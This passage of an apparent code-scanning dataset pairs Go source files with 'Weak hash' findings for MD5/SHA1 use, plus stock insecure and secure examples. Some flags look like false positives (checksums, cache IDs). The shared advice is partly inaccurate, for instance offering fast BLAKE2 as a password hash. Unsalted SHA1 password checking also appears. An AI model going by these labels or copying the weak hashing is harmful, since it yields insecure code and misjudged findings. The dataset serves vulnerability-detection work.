Scrypt.", "issueLineNumber": 4, "entireCode": "package storage\n\nimport (\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"errors\"\n\t\"fmt\"\n\t\"time\"\n)\n\nvar (\n\tErrorFailedToDelete = errors.New(\"Failed to delete ID\")\n\tErrorDoesNotExist = errors.New(\"Requested ID does not exist\")\n\tErrorFailedToCreate = errors.New(\"Failed to create short URL\")\n\tErrorNotURL = errors.New(\"Input is not a URL!\")\n\tErrorFailedToLookup = errors.New(\"Failed to lookup\")\n)\n\n// ShortUrl represents a short url. It contains the time it was created, the id, and the long url\ntype ShortUrl struct {\n\tId string `json:\"id,omitempty\"`\n\tHash string `json:\"hash,omitempty\"`\n\tLongUrl string `json:\"longUrl,omitempty\"`\n\tTimestamp int64 `json:\"timestamp,omitempty\"`\n}\n\nfunc NewShortURL(longUrl string) ShortUrl {\n\tbase := make([]byte, base64.StdEncoding.EncodedLen(len([]byte(longUrl))))\n\tbase64.StdEncoding.Encode(base, []byte(longUrl))\n\thash := fmt.Sprintf(\"%02x\", sha1.Sum(base))\n\treturn ShortUrl{hash[0:8], hash, longUrl, time.Now().Unix()}\n}\n\nfunc NewCustomShortURL(id, longUrl string) ShortUrl {\n\tbase := make([]byte, base64.StdEncoding.EncodedLen(len([]byte(longUrl))))\n\tbase64.StdEncoding.Encode(base, []byte(longUrl))\n\thash := fmt.Sprintf(\"%02x\", sha1.Sum(base))\n\treturn ShortUrl{id, hash, longUrl, time.Now().Unix()}\n}\n\n// ShortenService abstracts interactions between the database and the API\ntype ShortenService interface {\n\t// Lookup performs a query on the database for a short url\n\tLookup(id string) (*ShortUrl, error)\n\t// ReverseLookup lookups up a short URL in the database from the longUrl\n\tReverseLookup(longUrl string) (*ShortUrl, error)\n\t// Exists checks if the id exists\n\tExists(id string) bool\n\t// Insert creates a short url\n\tInsert(*ShortUrl) error\n\t// Delete deletes a short url\n\tDelete(id string) error\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "5d5baddbf34db1afe6a8305da9481d472296c0f01737f2fc826592757ebfa04a", "license": {"spdx": ["MIT"], "repo": "eugeis/gopcua", "path": "securitypolicy/cryptoRsaPss.go", "repo_head_hexsha": "4c31e3cb0a573be4fe7268047d878de9a4fd9161", "stack_hexsha": "921fb82fe7012f4f616d471789e2e224bd1cd55a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 13, "entireCode": "// Copyright 2018 gopcua authors. All rights reserved.\n// Use of this source code is governed by a MIT-style license that can be\n// found in the LICENSE file.\n\npackage securitypolicy\n\nimport (\n\t\"crypto\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\n\t// Force compilation of required hashing algorithms, although we don't directly use the packages\n\t_ \"crypto/sha1\"\n\t_ \"crypto/sha256\"\n)\n\nfunc signRsaPss(hash crypto.Hash, privKey *rsa.PrivateKey) func([]byte) ([]byte, error) {\n\trng := rand.Reader\n\n\treturn func(msg []byte) ([]byte, error) {\n\t\th := hash.New()\n\t\th.Write(msg)\n\t\thashed := h.Sum(nil)\n\n\t\tsignature, err := rsa.SignPSS(rng, privKey, hash, hashed[:], nil)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\treturn signature, nil\n\t}\n}\n\nfunc verifyRsaPss(hash crypto.Hash, pubKey *rsa.PublicKey) func([]byte, []byte) error {\n\treturn func(msg, signature []byte) error {\n\t\th := hash.New()\n\t\th.Write(msg)\n\t\thashed := h.Sum(nil)\n\n\t\terr := rsa.VerifyPSS(pubKey, hash, hashed[:], signature, nil)\n\n\t\treturn err\n\t}\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 13, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "9674b3374be8f4e53e624be70758dd1cc55176cfcdfeb9053b4f47ff8aeede04", "license": {"spdx": ["MIT"], "repo": "yamanoku/adventar", "path": "api-server/grpc-server/service/util.go", "repo_head_hexsha": "e6f5dc0148649c053f4e758e5cdd6531cc3c1ea1", "stack_hexsha": "e95824a3203b6a4a403417c90b1bb1ccf970584b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package service\n\nimport (\n\t\"context\"\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"net/url\"\n\t\"os\"\n\n\tsq \"github.com/Masterminds/squirrel\"\n\tpb \"github.com/adventar/adventar/api-server/grpc-server/grpc/adventar/v1\"\n\t\"github.com/adventar/adventar/api-server/grpc-server/model\"\n\t\"golang.org/x/xerrors\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\nfunc (s *Service) getCurrentUser(ctx context.Context) (*model.User, error) {\n\tmd, ok := metadata.FromIncomingContext(ctx)\n\tif !ok {\n\t\treturn nil, xerrors.Errorf(\"Metadata not found\")\n\t}\n\n\tvalues := md[\"authorization\"]\n\tif len(values) == 0 {\n\t\treturn nil, xerrors.Errorf(\"Authorization metadata not found\")\n\t}\n\n\tauthResult, err := s.verifier.VerifyIDToken(values[0])\n\tif err != nil {\n\t\treturn nil, xerrors.Errorf(\"Failed to verify token: %w\", err)\n\t}\n\n\tvar user model.User\n\terr = s.db.Get(&user, \"select id, name, icon_url from users where auth_provider = ? and auth_uid = ?\", authResult.AuthProvider, authResult.AuthUID)\n\tif err != nil {\n\t\treturn nil, xerrors.Errorf(\"Failed query to fetch user: %w\", err)\n\t}\n\n\treturn &user, nil\n}\n\nfunc convertImageURL(imageURL string) string {\n\tendpoint := os.Getenv(\"IMAGE_SERVER_ENDPOINT\")\n\tif endpoint == \"\" || imageURL == \"\" {\n\t\treturn imageURL\n\t}\n\tsalt := os.Getenv(\"IMAGE_DIGEST_SALT\")\n\th := sha1.New()\n\th.Write([]byte(imageURL + salt))\n\n\treturn fmt.Sprintf(\"%s/%x?url=%s\", endpoint, h.Sum(nil), url.QueryEscape(imageURL))\n}\n\nfunc (s *Service) findEntries(cid int64) ([]*pb.Entry, error) {\n\tquery, args, err := sq.\n\t\tSelect(makeSelectValue(map[string][]string{\n\t\t\t\"entries\": {\"id\", \"day\", \"title\", \"comment\", \"url\", \"image_url\"},\n\t\t\t\"users\": {\"id\", \"name\", \"icon_url\"},\n\t\t})...).\n\t\tFrom(\"entries\").\n\t\tJoin(\"users on users.id = entries.user_id\").\n\t\tWhere(sq.Eq{\"entries.calendar_id\": cid}).\n\t\tOrderBy(\"entries.day\").\n\t\tToSql()\n\n\tif err != nil {\n\t\treturn nil, xerrors.Errorf(\"Failed query to create sql: %w\", err)\n\t}\n\n\trows := []struct {\n\t\tEntry model.Entry `db:\"entries\"`\n\t\tUser model.User `db:\"users\"`\n\t}{}\n\n\terr = s.db.Select(&rows, query, args...)\n\tif err != nil {\n\t\treturn nil, xerrors.Errorf(\"Failed query to fetch entries: %w\", err)\n\t}\n\n\tentries := []*pb.Entry{}\n\tfor _, r := range rows {\n\t\tentries = append(entries, &pb.Entry{\n\t\t\tId: r.Entry.ID,\n\t\t\tDay: r.Entry.Day,\n\t\t\tTitle: r.Entry.Title,\n\t\t\tComment: r.Entry.Comment,\n\t\t\tUrl: r.Entry.URL,\n\t\t\tImageUrl: convertImageURL(r.Entry.ImageURL),\n\t\t\tOwner: &pb.User{\n\t\t\t\tId: r.User.ID,\n\t\t\t\tName: r.User.Name,\n\t\t\t\tIconUrl: r.User.IconURL,\n\t\t\t},\n\t\t})\n\t}\n\n\treturn entries, nil\n}\n\nfunc isValidURL(s string) bool {\n\tu, err := url.Parse(s)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\treturn u.Scheme == \"http\" || u.Scheme == \"https\"\n}\n\nfunc makeSelectValue(data map[string][]string) []string {\n\tvar r []string\n\tfor ns, columns := range data {\n\t\tfor _, c := range columns {\n\t\t\tv := fmt.Sprintf(\"%s.%s as `%s.%s`\", ns, c, ns, c)\n\t\t\tr = append(r, v)\n\t\t}\n\t}\n\treturn r\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "5e7e9a678d93b3b154133ceb998774fe580385265841554210e9923c5e6be6c4", "license": {"spdx": ["MIT"], "repo": "amassanet/gopad", "path": "web/render/render.go", "repo_head_hexsha": "42dca6db541bb340af05b82c7b5c4ba2c88ff0a0", "stack_hexsha": "ebac7645b89aec220daaec53ce1379b39cd9cb5f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package render\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/adriamb/runes/store\"\n\t\"github.com/russross/blackfriday\"\n)\n\nconst (\n\tcommonHTMLFlags = 0 |\n\t\tblackfriday.HTML_USE_XHTML |\n\t\tblackfriday.HTML_USE_SMARTYPANTS |\n\t\tblackfriday.HTML_SMARTYPANTS_FRACTIONS |\n\t\tblackfriday.HTML_SMARTYPANTS_DASHES |\n\t\tblackfriday.HTML_SMARTYPANTS_LATEX_DASHES\n\n\tcommonExtensions = 0 |\n\t\tblackfriday.EXTENSION_NO_INTRA_EMPHASIS |\n\t\tblackfriday.EXTENSION_TABLES |\n\t\tblackfriday.EXTENSION_FENCED_CODE |\n\t\tblackfriday.EXTENSION_AUTOLINK |\n\t\tblackfriday.EXTENSION_STRIKETHROUGH |\n\t\tblackfriday.EXTENSION_SPACE_HEADERS |\n\t\tblackfriday.EXTENSION_HEADER_IDS |\n\t\tblackfriday.EXTENSION_BACKSLASH_LINE_BREAK |\n\t\tblackfriday.EXTENSION_DEFINITION_LISTS\n)\n\ntype renderer interface {\n\tBlockDescriptor() string\n}\n\ntype divRenderer interface {\n\trenderer\n\tHTMLHeaders() string\n\tRenderToBuffer(data string, params string) (string, error)\n}\n\ntype imageRenderer interface {\n\trenderer\n\tImageFileExtension() string\n\tRenderToFile(data string, params string, filename string) error\n}\n\nvar (\n\trenderers map[string]renderer\n\terrNotImplemented = errors.New(\"Not implemented\")\n)\n\nfunc init() {\n\n\trs := [...]renderer{\n\t\t&dotRenderer{},\n\t\t&goatRenderer{},\n\t\t&jsseqRenderer{},\n\t\t&jsflowRenderer{},\n\t}\n\n\trenderers = make(map[string]renderer)\n\tfor _, r := range rs {\n\t\trenderers[r.BlockDescriptor()] = r\n\t}\n\n}\n\nfunc params2map(params string, defaults map[string]string) map[string]string {\n\n\tret := make(map[string]string)\n\tfor k, v := range defaults {\n\t\tret[k] = v\n\t}\n\n\tsplit := strings.Split(params, \";\")\n\tfor _, param := range split {\n\t\tif strings.Contains(param, \"=\") {\n\t\t\tpair := strings.Split(param, \"=\")\n\t\t\tret[pair[0]] = pair[1]\n\t\t} else {\n\t\t\tret[param] = \"true\"\n\t\t}\n\t}\n\n\treturn ret\n}\n\nfunc mustWrite(w io.Writer, p []byte) {\n\t_, err := w.Write(p)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n}\n\nfunc mustWriteString(w io.Writer, s string) {\n\t_, err := w.Write([]byte(s))\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n}\n\nfunc blockRenderer(content string, srange blackfriday.SourceRange, langAndParams string) (string, error) {\n\n\tlap := strings.Split(langAndParams, \"|\")\n\tlanguage := lap[0]\n\n\tvar class = \"\"\n\tvar params = \"\"\n\n\tif len(lap) > 1 {\n\t\tclass = lap[1]\n\t}\n\tif len(lap) > 2 {\n\t\tparams = lap[2]\n\t}\n\n\tvar r renderer\n\tvar exists bool\n\n\tif r, exists = renderers[language]; !exists {\n\t\treturn \"\", fmt.Errorf(\"Handle for language \" + language + \" does not exist\")\n\t}\n\n\tif imgR, ok := r.(imageRenderer); ok {\n\n\t\thasher := sha1.New()\n\t\tmustWriteString(hasher, content)\n\t\tsha1 := hasher.Sum(nil)\n\t\tID := hex.EncodeToString(sha1[:])\n\t\tfilename := ID + \".\" + imgR.ImageFileExtension()\n\n\t\tif !store.ExistsCache(filename) {\n\n\t\t\tfilenameWithPath := store.GetCachePath(filename)\n\n\t\t\tif err := imgR.RenderToFile(content, params, filenameWithPath); err != nil {\n\t\t\t\treturn \"\", err\n\t\t\t}\n\n\t\t}\n\n\t\timgloc := fmt.Sprintf(\"
\", filename, srange.Attrs())\n\n\t\treturn imgloc, nil\n\n\t}\n\n\tdivR := r.(divRenderer)\n\n\trendered, err := divR.RenderToBuffer(content, params)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdiv := fmt.Sprintf(\"
%s

\", srange.Attrs(), string(rendered))\n\n\treturn div, nil\n\n}\n\n// HTMLHeaders requiered in the html page to run the plugins\nfunc HTMLHeaders() string {\n\n\tvar buffer bytes.Buffer\n\n\tfor _, r := range renderers {\n\n\t\tif divR, ok := r.(divRenderer); ok {\n\n\t\t\tmustWriteString(&buffer, divR.HTMLHeaders())\n\n\t\t}\n\n\t}\n\n\treturn buffer.String()\n}\n\n// Render a markdown into html\nfunc Render(markdown string) []byte {\n\n\tparams := blackfriday.HtmlRendererParameters{\n\t\tBlockRenderer: blockRenderer,\n\t}\n\n\trenderer := blackfriday.HtmlRendererWithParameters(commonHTMLFlags, \"\", \"\", params)\n\n\thtml := blackfriday.Markdown([]byte(markdown), renderer, commonExtensions)\n\n\tvar out bytes.Buffer\n\tmustWriteString(&out, \"
\")\n\tmustWrite(&out, []byte(html))\n\tmustWriteString(&out, \"
\")\n\treturn out.Bytes()\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "98bf118f20b57fe1e2af872e63a4b97fd12caa5e7c476b8dc0eb97616378dd74", "license": {"spdx": ["Apache-2.0"], "repo": "BigBugBen/erda", "path": "modules/pkg/colonyutil/file.go", "repo_head_hexsha": "22a6a76b21882b297e3fa75211e6695f2dc3175d", "stack_hexsha": "80efb224b3ad4e372f16c97ab0d82c070c2a8e03", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package colonyutil\n\nimport (\n\t\"crypto/md5\" // #nosec G501\n\t\"encoding/hex\"\n\t\"io\"\n\t\"os\"\n\t\"strings\"\n)\n\nfunc CheckMd5(path string) (string, error) {\n\tf, err := os.Open(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer f.Close()\n\n\th := md5.New() // #nosec G401\n\tif _, err := io.Copy(h, f); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn hex.EncodeToString(h.Sum(nil)), nil\n}\n\nfunc GetFileName(path string) string {\n\tpathList := strings.Split(path, \"/\")\n\treturn pathList[len(pathList)-1]\n}\n\nfunc GetFileSize(path string) (int64, error) {\n\tf, err := os.Stat(path)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn f.Size(), nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "e270bf0d750be8844082ed951042f4b862e181f4649f00acbe090c8650cae13c", "license": {"spdx": ["MIT"], "repo": "enlideneinride/goroslib", "path": "pkg/serviceproc/serviceproc.go", "repo_head_hexsha": "70b2a88623096bb0de8385d19925964ce142b2b8", "stack_hexsha": "4a30883f31b0dc8f755d5233d6b776eabfac7e34", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "// Package serviceproc contains functions to process services.\npackage serviceproc\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"reflect\"\n\n\t\"github.com/aler9/goroslib/pkg/msg\"\n\t\"github.com/aler9/goroslib/pkg/msgproc\"\n)\n\nfunc md5sum(text string) string {\n\th := md5.New()\n\th.Write([]byte(text))\n\treturn hex.EncodeToString(h.Sum(nil))\n}\n\n// RequestResponse returns the request and response of a service.\nfunc RequestResponse(srv interface{}) (interface{}, interface{}, error) {\n\tsrvv := reflect.ValueOf(srv)\n\tif srvv.Kind() == reflect.Ptr {\n\t\tsrvv = srvv.Elem()\n\t}\n\tif srvv.Kind() != reflect.Struct {\n\t\treturn nil, nil, fmt.Errorf(\"unsupported service type '%s'\", srvv.String())\n\t}\n\n\tvar req interface{}\n\treqFound := false\n\n\tnf := srvv.NumField()\n\tfor i := 0; i < nf; i++ {\n\t\tft := srvv.Field(i)\n\n\t\tif ft.Type() == reflect.TypeOf(msg.Package(0)) {\n\t\t\tcontinue\n\t\t}\n\n\t\tif !reqFound {\n\t\t\treqFound = true\n\t\t\treq = ft.Interface()\n\n\t\t} else {\n\t\t\treturn req, ft.Interface(), nil\n\t\t}\n\t}\n\n\treturn nil, nil, fmt.Errorf(\"service request or response not found\")\n}\n\n// MD5 computes the checksum of a service.\nfunc MD5(srv interface{}) (string, error) {\n\tsrvt := reflect.TypeOf(srv)\n\tif srvt.Kind() == reflect.Ptr {\n\t\tsrvt = srvt.Elem()\n\t}\n\tif srvt.Kind() != reflect.Struct {\n\t\treturn \"\", fmt.Errorf(\"unsupported service type '%s'\", srvt.String())\n\t}\n\n\treq, res, err := RequestResponse(srv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttext1, _, err := msgproc.Text(reflect.TypeOf(req), \"\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\ttext2, _, err := msgproc.Text(reflect.TypeOf(res), \"\")\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn md5sum(text1 + text2), nil\n}\n\n// Type returns the type of a service.\nfunc Type(s interface{}) (string, error) {\n\treturn msgproc.Type(s)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "978b1d6ae5cb977bd4d65051eb36b5f108b4e708296c1f5e306b4978e9e3d573", "license": {"spdx": ["BSD-3-Clause"], "repo": "janos/httphandlers", "path": "basic-auth/basic_auth.go", "repo_head_hexsha": "72d7525ef03dd6fe12867561b248b0b87740cf6a", "stack_hexsha": "607a1cec258d45b3ef5afb6ebd7effeab6ef2a3b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package basicAuth\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"golang.org/x/crypto/scrypt\"\n)\n\ntype Auth struct {\n\tHandler http.Handler\n\tUnauthorizedHandler http.Handler\n\tRealm string\n\tUsers map[string]string\n\tAllowedCIDRs []string\n\tSalt []byte\n}\n\nfunc (h Auth) ServeHTTP(w http.ResponseWriter, r *http.Request) {\n\tif h.UnauthorizedHandler == nil {\n\t\th.UnauthorizedHandler = http.HandlerFunc(defaultBasicAuthUnauthorizedHandler)\n\t}\n\n\tauthenticated, err := h.authenticate(r)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tif authenticated == false {\n\t\th.unauthorized(w, r)\n\t\treturn\n\t}\n\n\th.Handler.ServeHTTP(w, r)\n}\n\nfunc (h Auth) authenticate(r *http.Request) (authenticated bool, err error) {\n\tvar host string\n\thost, _, err = net.SplitHostPort(r.RemoteAddr)\n\tif err != nil {\n\t\treturn\n\t}\n\tip := net.ParseIP(host)\n\tvar cidrnet *net.IPNet\n\tfor _, cidr := range h.AllowedCIDRs {\n\t\t_, cidrnet, err = net.ParseCIDR(cidr)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tif cidrnet.Contains(ip) {\n\t\t\tauthenticated = true\n\t\t\treturn\n\t\t}\n\t}\n\n\tconst scheme string = \"Basic \"\n\n\tauth := r.Header.Get(\"Authorization\")\n\tif !strings.HasPrefix(auth, scheme) {\n\t\treturn\n\t}\n\n\tdecoded, err := base64.StdEncoding.DecodeString(auth[len(scheme):])\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcreds := bytes.SplitN(decoded, []byte(\":\"), 2)\n\tif len(creds) != 2 {\n\t\treturn\n\t}\n\n\tpasswd, ok := h.Users[string(creds[0])]\n\tif !ok {\n\t\treturn\n\t}\n\tif passwd == \"\" {\n\t\treturn\n\t}\n\tif strings.HasPrefix(passwd, \"{SHA1}\") {\n\t\td := sha1.New()\n\t\td.Write([]byte(creds[1]))\n\t\tif passwd[5:] == base64.StdEncoding.EncodeToString(d.Sum(nil)) {\n\t\t\tauthenticated = true\n\t\t\treturn\n\t\t}\n\t}\n\tif strings.HasPrefix(passwd, \"{scrypt}\") {\n\t\tvar dk []byte\n\t\tdk, err = scrypt.Key([]byte(creds[1]), h.Salt, 16384, 8, 1, 32)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"scrypt hashing: %s\", err)\n\t\t\treturn\n\t\t}\n\t\tif passwd[8:] == base64.StdEncoding.EncodeToString(dk) {\n\t\t\tauthenticated = true\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n\nfunc (h Auth) unauthorized(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"WWW-Authenticate\", fmt.Sprintf(\"Basic realm=%q\", h.Realm))\n\th.UnauthorizedHandler.ServeHTTP(w, r)\n}\n\nfunc defaultBasicAuthUnauthorizedHandler(w http.ResponseWriter, r *http.Request) {\n\thttp.Error(w, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import 